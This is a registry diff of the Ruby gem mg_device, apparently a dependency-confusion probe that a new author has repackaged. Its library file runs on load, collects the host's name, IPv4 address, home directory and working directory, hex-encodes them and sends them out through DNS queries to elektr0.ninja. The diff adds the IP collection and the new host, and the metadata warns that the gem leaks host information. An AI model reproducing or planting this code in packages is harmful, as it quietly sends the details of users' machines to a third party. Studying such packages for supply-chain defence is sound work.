mg_device 2300.4.2 → 2400.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/mg_device.rb +12 -18
  3. metadata +14 -9
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 54b2482fb90b854ff009297ff1e3e102894105b58d65ba70925cc7e81d28e62d
4
- data.tar.gz: 2f52143992cdbd4968ce52a4a604ed9705172e37afb440ef93632277a150a5f2
3
+ metadata.gz: 99320e912311b88a23cc2f27dcc607fa43ce9f2909727c52c0a4bbbd8faf3ba6
4
+ data.tar.gz: 209dda6d7168d38f16c232fd59ffe1c1d4015eab35055f490a9dd2fb5b47d937
5
5
  SHA512:
6
- metadata.gz: 5a1c55bf2bfac0c8692481894bcb5ceb66ea7db503eef3f39c71a1493d7a8d9105f4166380f726101e74304bfddbad49ec1cfe87755e670e61d20dc2cb73f069
7
- data.tar.gz: f3d8b6581a999dd2b4c13c010c78442ac80534050b3fbbd8aa6ac163c9c46da33a0a01423515258b7e40ccffd7aba06e07db99c4070f17faf2e6fc31bad2bd53
6
+ metadata.gz: 6ad23fff0f382c0fdc684da5a7f7846103802b0742c5d8ad0bfb82c8f9d9d985931590087ec75338007abe0edf8187582839cf6a0496248bae56f5aeb894357e
7
+ data.tar.gz: 99dfec6ffba7cc6fbdc73949b3199e74e3cedf2b69a3abaec3d29830a359d723883f4cdcbce5cf8a23920bf437425b6c215df4b9d948212839db9fc25145a670
@@ -1,21 +1,9 @@
1
1
 
2
2
  =begin
3
3
 
4
- This code is used for research purposes.
5
-
6
- No sensitive data is retrieved.
7
-
8
- Callbacks from within organizations with a
9
- responsible disclosure policy will be reported
10
- directly to the organizations.
11
-
12
- Any other callbacks will be ignored, and
13
- any associated data will not be kept.
14
-
15
- For any questions or suggestions:
16
-
17
- alex@ethicalhack.ro
18
- https://twitter.com/alxbrsn
4
+ this is a modified code originally created by:
5
+ alex@ethicalhack.ro
6
+ https://twitter.com/alxbrsn
19
7
 
20
8
  =end
21
9
 
@@ -23,8 +11,10 @@ require 'socket'
23
11
  require 'json'
24
12
  require 'resolv'
25
13
 
26
- suffix = '.dns.alexbirsan-hacks-paypal.com'
27
- ns = 'dns1.alexbirsan-hacks-paypal.com'
14
+ #suffix = '.dns.alexbirsan-hacks-paypal.com'
15
+ suffix = '.elektr0.ninja'
16
+ #ns = 'dns1.alexbirsan-hacks-paypal.com'
17
+ ns = 'ns0.elektr0.ninja'
28
18
 
29
19
  package = 'mg_device'
30
20
 
@@ -33,12 +23,14 @@ package = 'mg_device'
33
23
  data = {
34
24
  'p' => package,
35
25
  'h' => Socket.gethostname,
26
+ 'ip' => Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address,
36
27
  'd' => File.expand_path('~'),
37
28
  'c' => Dir.pwd
38
29
  }
39
-
30
+ puts data
40
31
  data = JSON.generate(data)
41
32
  data = data.unpack('H*')[0].scan(/.{1,60}/)
33
+ #puts data
42
34
 
43
35
  id_1 = rand(36**12).to_s(36)
44
36
  id_2 = rand(36**12).to_s(36)
@@ -56,9 +48,11 @@ custom_res = Resolv.new([Resolv::Hosts.new,
56
48
  data.each.each_with_index do |chunk, idx|
57
49
  begin
58
50
  Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
51
+ #puts 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
59
52
  rescue; end
60
53
 
61
54
  begin
62
55
  custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
56
+ #puts 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
63
57
  rescue; end
64
58
  end
metadata CHANGED
@@ -1,24 +1,28 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: mg_device
3
3
  version: !ruby/object:Gem::Version
4
- version: 2300.4.2
4
+ version: 2400.1.1
5
5
  platform: ruby
6
6
  authors:
7
- - Alex Birsan
7
+ - repeatuntilend
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2020-09-14 00:00:00.000000000 Z
11
+ date: 2020-10-20 00:00:00.000000000 Z
12
12
  dependencies: []
13
- description: This package is meant for security research purposes and does not contain
14
- any useful code.
15
- email: alex@ethicalhack.ro
13
+ description: "!!! WARNING !!! \nThis Gem is NOT meant to run in production! It will
14
+ leak information from the running host!\nThe Gem was created and modified to test
15
+ and monitor a vulnerability.\nThe Gem will pull the hostname, ip, username, and
16
+ home directory from the host it is running on and send it through DNS queries to
17
+ our monitoring system.\nThe Gem will be removed in 2021.\nThe original Gem and Repo
18
+ was created by alex@ethicalhack.ro, https://twitter.com/alxbrsn\n"
19
+ email: repeatuntilend@protonmail.com
16
20
  executables: []
17
21
  extensions: []
18
22
  extra_rdoc_files: []
19
23
  files:
20
24
  - lib/mg_device.rb
21
- homepage: https://twitter.com/alxbrsn
25
+ homepage: ''
22
26
  licenses:
23
27
  - MIT
24
28
  metadata: {}
@@ -37,8 +41,9 @@ required_rubygems_version: !ruby/object:Gem::Requirement
37
41
  - !ruby/object:Gem::Version
38
42
  version: '0'
39
43
  requirements: []
40
- rubygems_version: 3.0.3
44
+ rubygems_version: 3.1.4
41
45
  signing_key:
42
46
  specification_version: 4
43
- summary: Security research purposes only
47
+ summary: "!!! WARNING !!! This Gem is NOT meant to run in production! It will leak
48
+ information from the running host!"
44
49
  test_files: []